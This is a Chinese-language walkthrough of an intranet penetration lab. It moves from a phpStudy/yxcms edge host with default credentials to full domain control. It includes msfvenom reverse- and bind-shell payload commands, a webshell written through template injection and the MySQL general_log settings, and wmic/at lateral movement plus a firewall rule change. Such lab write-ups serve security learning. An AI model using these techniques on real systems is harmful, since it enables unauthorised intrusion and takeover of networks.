1. 环境描述
一共三台靶机,Windows 7 x64为边界主机,配置双网卡,其中一张与攻击主机设置为同一网段;另两台server服务器位于隔离网段中。
目标:通过边界主机,获取内网全部主机控制权。
2. 过程流水
2.1 边界主机
- 边界主机探测,使用nmap扫描已知边界主机所在网段,发现边界主机;扫描主机端口,发现开放80、3306。
- 尝试访问web页面,跳转到“phpStudy探针”页面,其中提供了测试mysql数据库连接的功能,顺手试了一个root:root(phpstudy默认密码),特么就进去了。
- 使用某剑和dirb对web进行扫描,得到phpMyAdmin应用一个、phpinfo页面一个。
- 利用弱口令登录phpMyAdmin发现存在”newyxcms“。
- 根据yxcms官方文档找到边界主机中的yxcms路径,同时得知默认后台管理员账号与口令。
- 利用默认口令登录后台。
- 在修改模板的地方找到代码注入点。
- 利用代码注入点确认文件写入权限。
- 写入webshell。
- 利用Metasploit生成回连后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.233.130 LPORT=80 -f exe > Desktop/shell.exe
获得shell
2.2 内网拓展
- 边界主机一步到位的提权。
- 在边界主机中获取内存密码明文,同时得知域控主机名为
owa
。(cmd切换英文:chcp 437
,切换中文chcp 936
)
- 利用Administrator密码尝试登录域控主机,发现具有管理员权限,猜测该账号为域管账号。
- 确认“OWA”主机为64位。
-
查询域内主机信息,得到另外一台存活主机ROOT-TVI862UBEH(STU1是边界主机)。
-
利用掌握的账号和密码成功连接“ROOT-TVI862UBEH”主机,并确认其为32位系统。
-
构造32位的meterpreter后门。
msfvenom -p windows/meterpreter_bind_tcp -f exe > Desktop/shell_bind.exe
利用边界主机传递后门程序。
-
利用at命令激活后门程序。
-
Metasploit设置路由。
-
使用msf进行连接,成功上线,并一键提权。
-
使用同样的思路尝试在“owa”主机部署后门文件,无法连接。
利用wmic执行命令,查看后门程序是否正常运行,并检查是否存在杀毒软件。
根据结果,确认后门正常运行,推测主机防火墙阻拦了后门流量。
-
通过wmic命令,添加主机4444端口入站规则,成功建立连接,并获得system权限。
-
-
-
至此全部三个主机都获取了最高权限。
3. 其他获取立足点的方法
3.1 创建模板文件
登录后台,点击左侧“前台模板“--> 管理模板文件 --> 右上角新建
可以直接编辑PHP脚本
由于没有设置路径过滤,访问http://target/yxcms/protected/apps/default/view/default/my_shell.php即可访问到刚刚编写的脚本。
3.2 利用数据库获得shell
-
确认mysql是否有写文件权限:没有写文件权限
-
尝试利用mysql日志写shell
-
查看日志状态:
show variables like '%general%';
开启日志功能:
SET GLOBAL general_log='on';
设置日志输出路径:
SET GLOBAL general_log_file='C:\phpStudy\www\shell.php';
-
利用查询功能写入php脚本
4. 总结
- 这个靶机环境难点在于第一个立足点的获取,控制下web主机后,内网方面障碍不大,只有一道防火墙,并没有安全装杀毒软件。
- 还是没有搞清楚这个模板是怎么加载的,试着用调试器跟了一下代码,在Route的时候就把自己绕晕了,PHP框架这块还是得深入学一下。
- 控制主机后没有细致的搜集信息,潜意识里认为是靶机环境,就不管影响大不大,直接跑命令,下一个靶机环境一定要慎重,同时要看看执行操作的时候靶机日志。
- 我是谁:这台主机的信息
- 我在哪:当前网络所在的逻辑位置
- 这是哪:当前网络拓扑
- 主机信息搜集:设置一个黑盒环境(假设仅知道这个web站点,最终要获得网络内所有主机的管理员权限:web主机突破,其他主机探测,其他主机突破)
- 当前用户
- 杀毒软件
- 主机上都有哪些用户
- 主机和哪些主机相互通信
- 网上很多文章都是利用CS作为shell管理工具,这个目前还没接触过,下一个靶机要拿CS和PowerSploit来试试看。